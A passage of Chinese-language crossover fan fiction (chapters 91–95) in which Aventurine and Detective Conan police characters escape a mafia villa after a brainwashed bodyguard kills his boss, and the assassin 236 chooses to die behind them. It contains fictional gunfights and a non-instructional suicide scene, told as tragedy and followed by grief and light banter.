“不上套就不上套吧,这一次不行、还有下一次,”砂金很看得开,“我至少能和埃多阿尔多.鲁索见上两次面,以我的运气而言、总能成功一次的吧?” 不止是伊达航,萩原研二和松田阵平这对幼驯染也不太理解砂金的这种“自信”从何而来, 难道赌徒都是这样子的? “他会上套的,” 236开口附和着砂金,不过这一次不是因为他无条件信任砂金了,“我的前任老板,一直都是个很要强又很糟糕的人,” 不过分的要强和傲慢,埃多阿尔多.鲁索就不会做到把命押上、去赌那一个能更上一层的机会。 而多疑这一点,236亲身体验良多。 “不必要的多疑在他身上多到比沙漠里的沙子还要多,我还在他身边时、他就总是想方设法地试探我的忠诚。” 过分的“无机质”让埃多阿尔多.鲁索有一种“恐怖谷效应”式的不适应感,一边埃多阿尔多.鲁索知道236这类专门训练出来的人没什么感情可言, 可一边,埃多阿尔多.鲁索又希望他们的感情只因他一个人而存在,没有感情存在的忠诚并不被埃多阿尔多.鲁索认可。 正如砂金说的那样,埃多阿尔多.鲁索并不“知足”——有人希望妓子从良、为他一人守身如玉;有人喜欢看循规守矩者、为他破例行事…… 埃多阿尔多.鲁索则就想见那没有感情的机器、最后独忠于他一人,而不是谁来买下这机器便都能使用。 只要给埃多阿尔多.鲁索机会,埃多阿尔多.鲁索一定会忍不住的。 “不过可惜的是,他是对的,”236歪歪头, “我对他确实没有忠诚可言。” …… 所以埃多阿尔多.鲁索的“漏洞”在此刻,被236全部暴露了出来。 想想看,在别人有一个那么称心如意的下属做对比的情况下,埃多阿尔多.鲁索怎么样会忍得住不去试探试探自己下属的想法? 只不过,埃多阿尔多.鲁索没想到236竟然会知道“武器”的来历,并且在这种特殊的关头直接喊出了换主的指令, 他明明很小心地并没有暴露过“保镖”的身份来历才对! …… 既在意料之中、又在意料之外的枪声响起,埃多阿尔多.鲁索惊惧地睁大了眼睛、然而太阳穴上暴露性的创口比之表情更加吸睛, 开枪之人,正是原先埃多阿尔多.鲁索的保护者、那位“保镖”先生。 如同埃多阿尔多.鲁索认为的那样,对方就是一把刀,谁拿着他都可以命令他去杀人,而现在这把刀、在砂金手上了。 埃多阿尔多.鲁索其实很谨慎小心,一般人也不会在雇主试探保镖忠心的时候、突然对着保镖大喊“杀掉他、换个主人吧!” 那样做和找死有什么两样? 但236太了解埃多阿尔多.鲁索了,也更了解曾经的自己和同类,到现在为止、 236都没怎么学会耍心眼,更别提还不如他的“保镖”了。 长期的药物控制和洗脑作用下,他们只能听得懂最直接、最简洁的指示与命令。 本来就因为抽鬼牌这一不在常规指令内的游戏而思维混乱的“保镖”……实则已经沉浸在了无法完成主人命令、无法令主人满意的恐惧之中, 他听不懂什么客道话和试探,埃多阿尔多.鲁索越对他不满、他就只会想方设法地从指令中找到自己能听得懂的内容并且去执行。 于是…… 【我把你送给孔雀,你也一定是不乐意的吧? 】 “不乐意”是什么意思?他不知道,但他知道自己被不满意自己的主人送给别人了,而换主过后…… 他放松下来、对比怎么抽都不能让主人满意的扑克牌而言,这个他知道该怎么做, 那自然是要杀掉前主、向现主示忠。 …… 砂金一开始便向埃多阿尔多.鲁索说明了他次行的来意,那三枚筹码分别是为“杀人放火”、“采购武器”、以及“杀价”而来。 杀什么人? 自然是埃多阿尔多.鲁索, 采购什么武器? 并非埃多阿尔多.鲁索以为的枪械弹药,而是236这位曾经的“同类”先生。 至于压价杀价……埃多阿尔多.鲁索免费送他这么一个好机会,可不就是在杀价吗? 原本砂金还以为得再多费一些口舌、再诱导诱导的,谁知道埃多阿尔多.鲁索上套的如此容易…… 埃多阿尔多.鲁索不信任他本该信任的人,想要从对方手里获得那份独一无二的感情、却不愿意向对方回以同样的感情,发觉不到“保镖”的紧张和恐惧, 如此,死于对方之手倒也合理了。 …… 事发太过于突然,“保镖”的噬主行为震住了原先密切注视着砂金一行人的其他安保人员,但他们愣神的那一秒、时刻备战的松田阵平可没闲着。 几乎和枪声同一时刻抛出的微缩烟雾弹炸开,白烟瞬间包裹住沙发附近的松田阵平和砂金几人、并向外扩散着掩护住了他们的身形。 “看我说的怎么样,”砂金的笑意与难言的情绪混和在一起,他向松田阵平道,“我从未输过!” “现在是说这个的时候吗?!”松田阵平气得心口一堵,扯住砂金的衣领将人护到身后,“准备、强行突围!” 该死的!松田阵平咬牙暗骂了一声,计划不是命令对方挟持目标、好以便后续撤退的吗? ! 为什么236会发出让对方噬主的指令? 这和原本计划好的不一样! 挟持目标撤退和直接杀了目标、在众多敌人的围攻下的撤退,哪一个更危险不必再说, 所以236到底想做什么? 拉他们和埃多阿尔多.鲁索这个前任老板一起陪葬吗? ! 第91章 松田阵平暂时没空去深思236为什么不按计划行事了,他把砂金按在沙发椅背后、周围是不停的枪声和叮叮咚咚打到掩体上的子弹。 “我还有2枚烟雾弹、 1枚小型炸药和1枚闪/光/弹,”趁着烟雾还没散走,松田阵平匆匆带上耳麦、联系外面的萩原研二和伊达航进行接应,同时对砂金道, “拖得越久越危险,等下突围记得跟紧我!” 埃多阿尔多.鲁索的人手对他们进行过搜身, 虽不至于强硬地收缴掉所有武器, 但松田阵平几人身上的武装还是有限额的。 同样戴好耳麦的砂金摸出手枪、拉栓上膛, “放心好了,这种都是小场面。” 砂金玩过最刺激的逃生表演, 是在歼星轨道炮落地前的半个系统时内、独自一人从地牢里逃出生天, 结果显而易见, 表演完美谢幕。 松田阵平心梗:……我一点都不想去猜你都还见过哪些大场面! …… 子弹间歇的瞬间,松田阵平和砂金同时行动了, 砂金抬腿一脚将千疮百孔的沙发踹了出去,沉重的沙发翻倒、砸倒了几名将要逼近的敌人,而松田阵平刚想撑着沙发翻身的胳膊…… 一空。 等会儿……松田阵平下意识接着扑空的惯性就地一滚,翻起身又绊倒了几名持枪敌人,一串的格斗缴械、武装自己完毕后,松田阵平脑袋里才浮起刚刚疑惑, 我沙发呢? ! 部分还未来及时换弹的武装人员抽起沉重的步枪向砂金挥来,砂金单手握住枪杆、在松田阵平震惊的表情中连人带枪一同甩开, 飞起的人体又砸倒几人。 班长这又是从哪里捡到的怪力大猩猩啊? !松田阵平脑袋转得飞快,单手也硬是没停地将身侧的茶几扯了过去,抬脚踢翻、挡住了倾射向236那边的部分子弹, 不知道236突然发什么疯,但松田阵平没有放弃队友的习惯。 相比松田阵平习惯性只是断手断足、或是击昏这种使敌人丧失攻击力的温和手段, 236更加果断干脆, 白的红的黏稠液体溅了236大半身,而236依旧在反水的“保镖”的协助配合下、精准地一枪枪点射爆头,尸首躺了一片。 “安全撤离的通道在哪里!” 在警报声高鸣的背景下、 236朝着“保镖”大声喊着,“掩护撤离——!” 保镖拖着中枪的小腿、依旧选择快步冲向一侧墙壁,举枪打碎了墙壁上方的一处装饰壁灯,嗡嗡一阵轻响,一扇大门出现在松田阵平眼前。 [已接入地图! ]八木海在松田阵平的耳机里语速极快地道,[通道安全,可以入内! ] [预计走出通道最快需要十分钟,但是萩原警官他们赶到出口处至少需要半个小时的车程……] 埃多阿尔多.鲁索的小别墅建在山上,从别墅内部横穿要不了多长时间,但从外部绕起来可就费时了。 [十分钟是吧? ]萩原研二出现在频道内,[交给我来,我能赶上! ] 安室透变声后的声音继续道,[还剩下最后一个问题,] 再次放倒一名敌人,松田阵平眼见着另一杆枪口直直地指向自己、却在开枪的前一秒被弹射过来的金属筹码打偏,弹道歪向了一边,“说!” [埃多阿尔多.鲁索的部下集结完毕、最多只需要五分钟。 ] 这条通道原本就是埃多阿尔多.鲁索为自己准备的,通道的尽头是其部下的主要集中地这一点并不难理解,人手集结的越快、才越能在第一时间接应到埃多阿尔多.鲁索。 但这对砂金他们而言,和羊入虎口并无差别。 [对不起!大功率的对讲机信号难以进行干扰,我只能对信号位置进行动态监控。 ]八木海肯定了安室透说的坏消息, [正有大范围的敌人开始向大厅和出处口汇合。 ] 加上“保镖”,砂金一行也才四个人,砂金本身又被世界规则压制着、只能不引起世界注目的适度开盾挡掉几枚流弹,而他们再怎么厉害也敌不过不断扛着武器进行扫射的敌方援兵, 留在大厅会被围堵,从安全通道撒离也会被围堵……现在好像只剩下选择死在哪的余地了。 “群织、蜂鸟,你们看下有没有其他出口!”砂金捞了236一把,子弹从两人头顶飞过,“排风扇、下水道、老鼠洞……什么都可以,我不挑!” [啊啊啊不要再和我开玩笑了啊! ! ! ]八木海一边抓狂,一边和安室透对着3D建模的别墅内部详细设计图左翻右看、力求找到那条生路, 这条生路必须是松田阵平、236和砂金他们可以走得通,萩原研二和伊达航又能接应得到的路。 [有了! ]安室透眼尖的发现了安全通道和一处狭窄通道的交汇处,[进通道直走50米处,正上方有一条通风管道! ] 而身为这方面的专家的松田阵平身上,正好有一枚足从炸开通风管和墙顶的炸/弹! 松田阵平将一枚烟雾弹和杀敌一千自损八百的闪光弹、用力抛向了还在有敌人逼近的大厅正门处,转身叫上砂金,“我们走!” …… 又是嗡嗡一阵轻响,安全通道被从外面关上,几人可以暂时放松一下了。 枪林弹雨的,难免还是受伤了的松田阵平咬着从衣服上撕下来的布条给手臂简单包扎了一下, “砂金,你情况怎么样?” “还能走得动吗?” “……我没事。”披在肩上的大衣早都不知道滚到哪里去,一身沾着血污的砂金也没比松田阵平干净多少,“腰上有点擦伤,能走。” “能走就行,”松田阵平松了口气,他是没想到砂金这么个小身板子、也这么能打,“那个什么……格查尔?是叫这个名字吧,” 松田阵平包扎好起身准备照应一下杀得最疯最狠的那个家伙,“你怎么样,有没有哪里中枪……” 松田阵平扭头的动作一顿,他只在身边看到了砂金一人的身影, “格查尔他,人呢?” 第92章 而且,那个埃多阿尔多.鲁索的“保镖”也不在。 “不会吧,”松田阵平咽了咽唾沫,想起了那扇自外关闭的门, “这门, 该不会是只能从外面开关的、呃……一次性的门吧?” 埃多阿尔多.鲁索就这么不把自己部下的命当命的吗? !松田阵平难以置信,只能从外关上、而且还打不开的门, 这不就说明保镖必须留在外面为埃多阿尔多.鲁索垫后? [是这样的……]八木海轻轻地道, [抱歉, 这是机关门,我没有办法……] “那两个家伙, 是因为距离太远没来得及跟进来……?”松田阵平自己说这话, 自己都不信。 他从大厅门口都冲进来了,那两个家伙不会比他的距离更远,所以——保镖和236这两个混蛋是自愿留在外面的! 236他疯了吗? ! …… 实则, 236很清楚他要做什么。 松田阵平的闪光弹为236两人争取到了一定的时间,不长、也就一两分钟的样子,但绝对足够236他们撤退进入暗道, 但236和保镖都没有动。 保镖留下是为了确保那扇门能够顺利关上、且再也不会打开,而236是为了…… “只剩下我们了,” 门外的236对一同垫后的保镖说道,他很信任砂金的一切,“老师他们肯定能平安脱险的。” 这样他就放心了。 “你可以撤退了, ”236对保镖道,“以你的能力和对埃多阿尔多.鲁索的人员部署的熟悉程度、你有独自一人逃出去的可能。” 保镖没说话,只是听从命令、依言离开。 其实236可以让保镖也进到暗道里的,他留在外面关门就行,但236没阻拦保镖断后的行动。 因为…… 嫉妒。 236就要死了,所以他嫉妒保镖还能活着、活着陪在他的神明身边,所以236也赌了一把, 要是保镖能活着离开,那保镖就是他留给神明的最后“礼物”、也是他对同类最后的一丁点怜悯;要是对方就这样死在了这里……那也就没什么好说的了, 毕竟, 236知道他也算不得什么好人。 而坏人自然该有坏人的去处。 …… 砂金知道,236为自己找好了归处。 系紧腰间的衣服止血,砂金起身,之前236就跟在他的身边,但236只是把砂金塞给他的、至少可以保他一命的筹码硬是还给了砂金。 “走吧,他们……”砂金知道236心意已决,他无法改变,“至少格查尔自己已经想好了,这是他想要的。” 第一次遇见236的那一天,砂金在困倦与疲惫中、朦朦胧胧地听着236和八木海拌嘴, 236给自己起的代号叫“格查尔”。 不想再次后知后觉“吻手礼”对曾经的特里纳他们代表了什么的砂金,特地有意调查了一下,方知道格查尔鸟……是一种代表着自由的鸟儿, 这种鸟宁愿绝食饿死于笼中,也绝不接受被囚禁的命运。 又在萩原研二交给砂金、自己捡到的砂金石的那一天,砂金在存放基石的那时,于盒子里见到了突然出现的第三块基石…… 在八木海的基石吊坠旁边,又多了一块小小的砂金石碎片。 236也不算太笨,砂金想,对方知道如何躲过砂金的感知、把基石悄悄地藏在砂金的身边——那就是利用另一块基石掩盖住这一块基石的气息。 如果不是萩原研二正好又送来了一块需要保存的砂金石,砂金恐怕短时间内真的发现不了236早早就把基石还给了他的小动作。 所以在那一刻,砂金就知道……236快死了, 只有死人才会提前安排好后事,生怕自己死后无法将基石安全地还于他。 所以砂金问236真的想好了吗, 所以这两日砂金对236无尽的纵容——那并非有意在埃多阿尔多.鲁索面前作戏、引诱埃多阿尔多.鲁索上套的把戏, 而是砂金对待向死者的尊重。 连[砂金]最后都会礼貌地向即将登台谢幕的砂金告别,砂金没理由不去满足236的渴望。 至于阻拦? 砂金自己都是个“向死者”,他当然无权去干涉236深思熟虑后做下的决定。 “混蛋,他……我还没找他算账呢!” 松田阵平控制不住地骂了一声,抬腿向安室透指示的位置快步走去,因为留给他们的时间不多了, …… 时间不剩下多少了,236撕下面具、暴露出自己的真实相貌,“不要紧张……” “不用害怕,马上就好了,” 236转而小声安慰着自己,“没关系的,很快就能得到最好的自由了,” 咔咔、 236重新往弹尽的手/枪中填入子弹,枪口却未再对准敌人。 236很开心能够在生命的最后时刻,得以见到自己的神明, 而且那还是一位格外温柔的神明。 老师会对他妥协、默认他的追随;会记得他只是随口提过一次的“名字”;信任他对埃多阿尔多.鲁索的判断;还会小心地踮着脚、不去踩脏他刚擦好的地板,甚至…… 就连那天的“派对”,236都知道、那其实是砂金专门为他而举办的。 温馨和谐的美好画面到现在还定格在236的脑中,老师问他——真的想好了吗? 真的不再努力尝试一下了吗?老师想说,这样美好的生活他本也是值得拥有的,所以真的想好放弃未来了吗? 只是……在见到砂金之前, 236很早便想着该如何计划自己的死亡了。 从埃多阿尔多.鲁索那叛逃出来后的236其实并不开心, 得到“自由”后应该做什么呢? 236很迷茫,他和他的老师不一样,他没有亲人、没有朋友、没有任何值得他留存的记忆和感情, 抱着从神明那学会的“珍宝”, 236茫然地却不知道该怎么去使用。 兜兜转转了一大圈,236发现自己和之前的生活并没有多少区别——接任务、杀人、再接新的任务、继续杀人…… 唯一的区别只是他多了“报酬”这一样东西,236只认钱干事也不是因为他有多爱财、而是除了钱他找不到别的所求了。 终于于某一天,他猛然惊觉、原来他的人生已经彻彻底底地坏掉了,曾经的过去依旧在禁锢着他,手上染满了鲜血的他不知道该怎么去给自己一个未来, 从前他是一个罪犯,现在也是,将来也还是。 他和那时在地板上扑腾的那些鱼一样,打碎了鱼缸、但鱼缸外面不是湖泊大海,而是对鱼儿来说致命的一切,等待鱼儿的只有死亡。 236想了想,恍惚大悟,或许死亡于他才是最好的自由,摆脱此生的一切、直接下地狱都好,只有那样他的灵魂才能得以从囚禁中获得解脱。 而想报复埃多阿尔多.鲁索也只是236随口扯出来的一个幌子,曾经雇佣过他的“主人”多了去了、埃多阿尔多.鲁索也并没有特殊到需要他专门去报复的必要。 236只是想在死前,找借口和老师多相处一段时间,并且给自己定下一个合适又有价值的死期罢了——埃多阿尔多.鲁索死的时候,他也就去死好了。 知晓了所有的老师也并未指责他这位糟糕学生的逃避与自暴自弃,老师只是说, “那便趁现在享受一下生活吧,格查尔。” 本应高高在上的神明认可了他那可怜可悲的信徒,没有说教或是强迫,直到最后神明也只是将那枚筹码放在了他的手中,由他自己决定自己的未来, 温柔的神明给了他选择的自由,如果真的做好了决定、他可以选择放弃。 遇到他的老师,这是他毕生唯一的幸运, 发烫的枪管抵上了下颚, 236的嘴角是近几日越来越自然的微笑,他一辈子的笑容在这几日都要花光了。 …… 暗道里的松田阵平却笑不出来,死死地沉着一张脸安装着微型炸/弹, 他们甚至没有时间去考虑救人,松田阵平只有一枚炸弹,炸开门去找236和保镖……那他们所有人都会死在这里, 不一定能被埋在一起,但绝对能死在一起。 而炸开通风管至少……松田阵平还能把砂金先送出去,再想想怎么拐回来去救死生不知的那两人。 …… 其实没有必须再拐回来了, 236很庆幸这个门关上后就打不开了,不然他还担心一下要是他们非要来救自己可怎么办啊。 “真好,那就……再见了。” …… 暗道里的那一阵爆炸,终归还是掩去了门外的那一声枪鸣。 第93章 “小心!他们在上面——!” 别墅后院唯一通向山下的出口上方,突然掉落的铁式通风窗口重重地砸在地面上,哐当一声惊起了敌人的注意, 十余名持枪人手纷纷仰头看去, 只见极高的外墙上, 挤在一起的两道身影从最高处楼顶的通风口那探出了半截身子, “被发现了, ”松田阵平没有意外地向下方丢去最后一枚烟雾弹, “hagi !你到哪了?!”再不跑,要不了半分钟他们就要被射成马蜂窝了! [小阵平,跳——! ] 跳? 往哪跳? 从这么高的地方跳下去,都不用敌人出手,他们也会摔死。 但脑子转得没有身体的条件反射快,萩原研二话音刚落,松田阵平拽着砂金两人猛然从出口处一跃而下, 坠落的风…… 吹得脸生疼。 “weng——!” 发动机嗡鸣的声音逼近, 地面上的碎石子土块被震动得乱跑,高处为了建楼和安全防卫而修平了的山腰平台上、一棵刚抽枝的小树被冲出的黑色越野车拦腰撞断, 车速未减,随及又以更快的速度冲出平台、跃入半空——! “抓住我!” 车门大敞,单手抓住车框把手上的伊达航几乎将整个人都探出了车体,另一边的车身砰砰咚咚地挡下了所有自下而上射过来的子弹,防弹玻璃上留下一片密密麻麻的痕迹, 正在下坠的松田阵平伸出手、与飞驰而过的越野急速逼近……松田阵平探出的手被伊达航猛得抓住、用力拉向车内,松田阵平借势将另一手拽着的砂金也向车上甩去, 砂金被砸在了车座上,但顾不上别的、反手抓住松田阵平脱力的胳膊,连同伊达航一起将半挂在车外的松田阵平救上车, 从山腰跃起的越野成功在半路将两人“劫走”,整个过程、耗时不过几秒,稍有一点迟疑和误差,那后果便是…… 然而人是上车了,但车还在向下掉着。 “班长关门!”抓紧了方盘、踩死了油门,萩原研二提醒了一声,“都抓紧了——!” 萩原研二开车不一定能保证安全,但绝对保快、保刺激。 车身落地,单边的车轮砸到别墅修建的边际线上弹了一下、闯入未散尽的烟雾中硬是冲出去好远,沿途的黑手党纷纷匆忙避让, 矮实的水泥护栏撞击剐蹭着车的底盘、火花四溅,车里连体重不轻的伊达航都被反震地离开了座椅,几人只能死死地扒住各处的把手固定自己, 下一刻、车身失去平衡、向护栏外则倾倒,而外正是一个坡度极大、近乎断崖的陡坡,下底沉重的越野开始在这个坡上翻滚起来, 这正是萩原研二想要的——从后院下山的唯一一条路被那群黑手党围困,想要离开只能另辟蹊径! 车身越滚越快,从高处坠落的重力加速度和翻滚而起的颠簸让车内的几人仿佛被丢在了滚筒洗衣机里被高速甩干, 甩进车子里的石子杂物划伤了皮肤,肢体撞来撞去痛个不停,脚下触不到地、胃在翻涌,眼前更是天花乱坠、眩晕不止…… 手握一车人性命的萩原研二连晕都不敢晕,竭力注视着车窗外的情况,终于在许久的翻滚过后,开锁打开了天窗、解开死死绑着他的安全带, “噗通——!” 在敌人的火力攻击下几乎千疮百孔的越野车顺着山坡翻进不远处河水之中、卸去了多余的冲击力,河水从打开的天窗倒灌入到车内,车沉下去的很快, 几个人你拉下我、我拽下你,相互支持着终于从水面下弃车、顺着水流游出很远后上浮到岸上。 车滚下来的速度可比那些走山道的黑手党快多了,而且这边也到公道上了,那些黑手党再嚣张、表面上也得给政府一点面子,不可能再追过来,于是…… 半拖着幼驯染游上河岸边,萩原研二因用力过猛而还在发颤的手抬起、抹了一把脸上的水和湿漉漉的头发,脸颊处划伤的细小伤口渗着点血、全身上下仍有些痛感,不过他们、 安全了, 死里逃生。 …… “他呢?” 拧了下衣服上的水,萩原研二抬头问了一声,三个人去、两个人回,自然得要一问,先前的萩原研二急着寻路,也没注意到松田阵平和八木海短暂的那一两声对话。 松田阵平单手抖了抖衣服,这时才想起行动之前236那混蛋…… 竟然连耳麦都没拿。 这意味着……松田阵平攥了攥拳头,直觉告诉他、已经没有回去救人的希望了。 见松田阵平不说话,萩原研二叹了口气,在那天聚会的时候,萩原研二就发现有些不对了——236竟然把赢到的、砂金烤的饼干全吃掉了,噎得打嗝了都还在吃, 萩原研二原本还以为,一口一个“老师就是天神”的236会把奖品贡起来…… “……走吧,”伊达航起身背起有些脱力、水性也没他们那么好的砂金,竟然并不意外现在的这个局面。 伊达航没像萩原研二那样注意到那么小的细节、也不是松田阵平那样的直觉系猜到了什么,只是……这个结局, 情绪复杂,他无法评价。 伊达航未能接受236的主要原因并不只是因为对方是通缉犯,伊达航没那么大的偏见,而是对方不愿意接受他们这些警察。 从双方第一次见面到现在也不过几天的时间,但236从未主动和几位警官先生说过哪怕一句话一个字,砂金不在的话更是直接冷场, 伊达航想试着接触一下对方、了解了解情况,结果对方就跟老鼠见了猫似的到处乱躲,又不能动真格的伊达航连个236的影子都抓不住。 显而易见的,236极度排斥除了砂金之外的所有人。 236和砂金不一样的点还在于……背在236身上的命案都是实打实的铁证如山, 不管236有何苦衷和隐情,伊达航他们若想帮对方,对方也得愿意和他们接触说话、他们更要知道实情来进行判断才行啊! 所以伊达航几人不可能像接受砂金那样坦然而没有疑问的接受236 ,不然他们作为警察,又该将无辜死去的那些受害者们置于何地。 再直白一点的说便是, 236本身没有任何“自救”的打算和“求生”的欲望,自己这个人怎么样、还有没有救、犯下的错在法律和道德上有没有可能被人原谅、别人如何看待他……这些都不重要, 他不需要伊达航他们插手到他自己的事中, “病人”拒绝接受“治疗”。 所以就算236平安无事,对对方而言最好的结果也是他们与236就在这里分开吧,他们不去找对方、对方也不再与他们有任何的联系, 再见之时,也只有“警”与“匪”的关系罢了——这很现实,但也很无奈。 “咳、咳咳……” 不想说话的砂金趴在伊达航肩上,呛水咳嗽了几声,他没死在埃多阿尔多.鲁索的地盘上、反而差点把命丢在萩原研二的车上, 还好贝尔摩德安排的车足够结实,他们几个人的身体素质也都不一般……一般的车和人也受不住这样折腾。 “我先送你去医院,萩原、你们也跟着一起,再做个检查。” 几人的耳麦不是丢在车上、就是丢在水里了,伊达航联系不上其他人、只能叫伤势轻些的萩原研二也背上受伤更重的松田阵平,一人背一人, 先去医院吧。 第94章 “我真的没事……” 几日后,出院在家修养的砂金十分诚恳地向伊达航保证道:“没有强撑着,精神状态也挺好的,身体恢复的也不错,真的不用担心……” 以上, 已经是砂金向伊达航保证的第n次了。 似乎是因为在松田阵平几个人面前和格查尔相处的过于亲密、伊达航总担心砂金那岌岌可危的心理状态会因为格查尔的离开而受到影响, 所以处理外伤的时候, 伊达航顺便又让砂金做了下心理检查, 结果可想而知——记忆大概是已经恢复了, 但砂金的心理评估还是没有合格啊! 不过这事还是不能怪砂金,本来医生都打算在砂金的完美掩饰下、定个稍有好转的诊断了,谁料「砂金」突然扮了个鬼脸怼到了砂金的眼前…… 而砂金, 条件反射地一巴掌拍了过去。 他本意是想推开「砂金」, 结果手从「砂金」的脑袋上穿了过去,恰好打掉了坐在他跟前和他谈心的老医生……的假发。 挺秃然的老医生:…… 无意冒犯的砂金:“……我只是手滑。” 老医生点点头、没说话,有意避开砂金后刷刷地在报告单上写着什么,砂金看是看不见,但心知写的肯定不是什么“好话”。 习惯已经养成了,想改也挺不容易的。明知砂金是个心身均已成年的人了,伊达航还是忍不住为自己的朋友操上那么一点心。 伊达航最后还是道:“有问题别自己忍着,我……” “好了好了,听得耳朵都快起茧子了,”松田阵平还捆着纱布的手搭在了砂金的肩膀上, “班长你忙去吧,这还有我和hagi呢。” 没办法,刑事部门就是要比爆处班忙, 所以松田阵平和萩原研二有空到处乱跑、还能留在砂金这继续查案子,伊达航受伤后却不得不继续上班了。 伊达航想着也对,这对幼驯染他们也在呢、只要他们不拉上砂金一起飙车打架逛赌场,那还是挺让人放……等等、这不对,他怎么更担心了啊? ! 从担心一个人,变成担心三个人。 顿时,伊达航的叮嘱从面向砂金一人、开始转向面向松田阵平、萩原研二、砂金三人,松田阵平苦着脸怀疑自家幼驯染就是预料到了这种情况才让他过来催班长的。 等下……松田阵平想,要给hagi一拳。 忧心忡忡的伊达航最后被来自后辈高木涉的“求助”电话叫走了,被班长耳提面命了许久的松田阵平也松了口气。 “班长真是越来越喜欢操心了……” 还好伊达航走的快,没听到松田阵平的这句吐槽,要不然伊达航一定会抓住松田阵平的肩膀反复摇晃——你觉得这都是因为谁呢? ! 遗憾的是,松田阵平没有这个自觉,“我难道还不可靠吗?” “……朋友,”砂金默默道,“你也没比我好多少吧?” 告别伊达航,拐回到砂金的书房,松田阵平抬手轻怼了电脑前的萩原研二胸口一下,“怎么样,有结果了吗。” 心知松田阵平为什么“打”了一下自己的萩原研二笑笑,“嗯,群织他还在查……不过时间太久,资料冗杂、信息缺乏,能不能有结果还不太好说。” 听到这松田阵平道,“已经是个很好的消息了。”比竹篮打水一场空要好太多了。 松田阵平和萩原研二一开始可是为了那个在逃通缉犯来的,虽然埃多阿尔多.鲁索死了、两人没机会问话,但他们也因此认识了群织啊! 在群织的技术支持下,松田阵平良久没有收获的调查终于又有新的进展了。 [再等我两天,]电脑上的窗口显示出八木海的消息,[有情况我会第一时间通知你们。 ] 松田阵平和萩原研二在埃多阿尔多.鲁索一事中出了不少力,八木海很乐意熬点夜回报一下两人的热情相助。 萩原研二起身让开电脑,砂金看了看股票市场,售出了几股又挑了几股买入……而操盘的资金却不是砂金本人的, 那一大笔钱,都是格查尔留给砂金的,格查尔平时赚得不少,物欲又极低、不怎么用钱,这慢慢也就存了不少……而钱这种东西生不带来、死不带去,除了给砂金,格查尔也没什么更好的处理方式了。 砂金本人之前其实是没打算操盘炒股的,一来是因为各种事件堆积起来很忙,二来也是因为砂金没打算在这里长期住下去,所以要用钱了就临时赌几把,赚点足够花的快钱会更轻松一些。 现在嘛……八木海的小团体缺启动资金了,砂金干脆打算用格查尔的积蓄炒股、再开个基金会什么的,等他离开后也能自行运行赚钱的那种,其中钱则用于照顾八木海救下来的一些受害人和武装自身。 贝尔摩德给的装备质量极好、市场上的价格绝对不会低到哪里去,但贝尔摩德不可能一直被砂金他们薅羊毛,八木海得有钱买点武器才行。 说到武器……又要说回到埃多阿尔多.鲁索身上了——埃多阿尔多.鲁索死了,简直大快人心。 据黑手党那方的调查和小道消息流传,杀死埃多阿尔多.鲁索的人是曾经从黑手党那叛逃的一名杀手,对方因曾经的私人恩怨怀恨在心、才刺杀了埃多阿尔多.鲁索, 据说杀手本人也已经被黑手党秘密处理掉了。 至于埃多阿尔多.鲁索还没能谈完的那些生意,黑手党那边则表示过段时间、会再派人来接手这边的市场,价格则以埃多阿尔多.鲁索最后签成的合同为准,先前抵不住压力先签了“涨价通知”的众人顿时悔不当初, 不用说,组织当然很满意这个结果——价格稳定下来了,给了黑手党一个教训,又不会让任何人怀疑到组织身上,砂金完美的完成了任务。 “所以你们看,”砂金一边敲着电脑一边道,“他死的很有价值,我又为什么会受影响呢?” 第95章 砂金话里的“他”指的是谁, 松田阵平知道、萩原研二也心知肚明,反正不会是埃多阿尔多.鲁索。 而格查尔的死亡所带来的最大价值还在于——他保全了砂金本人。 黑手党在埃多阿尔多.鲁索死亡的现场发现了曾经叛逃的成员尸体,为了自身的颜面、意大利那边只会在236身上做文章, 而不是承认他们无能到放跑了杀害其重要干部的凶手。 除了安室透怕组织继续盯上砂金、而有意在一些上层人士中小范围流传的“埃多阿尔多.鲁索死前曾见过孔雀, 说不准孔雀在这事里也插了手”的流言之外, 很大一部分的人并不知道是孔雀把杀手带到埃多阿尔多.鲁索面前的。 格查尔用他的死, 给了黑手党借题发挥的理由, 担下了黑手党可能会恼羞成怒、转而针对砂金的风险, 这也是格查尔认为的、最有价值的死亡。 对格查尔而言,还有比“死了还能继续为自己的神明排忧解难”这件事更有诱惑力的死亡方式吗? 那当然没有了。 不过砂金这话说的,不知情的人恐怕会认为砂金就是那种“利益致上、毫无人性”的家伙,说不定还会认为格查尔的死都是砂金有意计划的,为的就是能让自己从纷争中顺利脱身。 但萩原研二和松田阵平是谁? 一个敏锐的不像话,另一个更是开了挂似的直觉系生物, 没有伊达航那样的感情和信任基础、两人也不会认为会是砂金叫格查尔故意去送的死。 “我之前就发现了, ”萩原研二拉了个椅子坐在砂金身边,“你似乎……有点傲娇?” “……”砂金心中一梗,电脑也不敲了,转而用一种难以置信的表情看向用词十分少女心的萩原研二, 该说萩原研二和松田阵平不愧是幼驯染吗? 说话都有本事让砂金沉默。 故意夸大扭曲了一下意思、以此吸引砂金注意的萩原研二笑眯眯地说道,“难道不是吗?” 砂金很想反问——难道是吗? “我不知道你以前是在哪种环境下生活的,然后养成了这种有些别扭的性子, ”萩原研二说道,“但如果这样能帮助你更好的适应那种环境的话……我也不打算说教些什么,” “毕竟, 你不是我、我也不是你,每个人各有各的活法。” 萩原研二知道哪种心态更健康,但健康的不一定是最合适的,要求砂金活得像松田阵平那样“直来直去”……显然是一种很不现实的期望,太“干净”的人也适应不了另一面的生活。 “不过嘛……” 砂金就知道萩原研二还得有个转折,“不过什么。” “我对另一边的世界挺好奇的,”萩原研二眨眨眼睛,“介不介意把我当成心灵垃圾桶尽情的吐槽一番?八卦也好、谎言也成、胡扯都没问题,就随便和我聊聊呗。” 砂金:…… 这……说萩原研二委婉吧,他上来就要打听各种消息,说他直接吧,还又有几分拐弯抹角的迂回, 总之,萩原研二是真没打算把砂金当外人啊! “ hagi是不可回收垃圾桶,那你就把我当成可回收垃圾桶就行。”见幼驯染这么一说,松田阵平转头一拉椅子也和萩原研二并列坐好,“我也很感兴趣,也和我说说呗~” 松田阵平没萩原研二那么擅交际,但他知道什么叫有样学样。 【嗯,那我是垃圾桶上的烟灰缸,】不知道从哪儿捏了个空气椅子过来的「砂金」同样在松田阵平身边坐下,重复道,【我也要听,和我也说说嘛~】 砂金一时语塞, ……你是有害物品垃圾桶才对吧、混蛋!在这乱凑什么热闹,我的哪件事你不都知道的一清二楚? ! 还没完,卡卡瓦夏吭哧吭哧地拉着个比他还高的空气椅子、喘着气也要在「砂金」身边坐下来,【那我、我就是……】 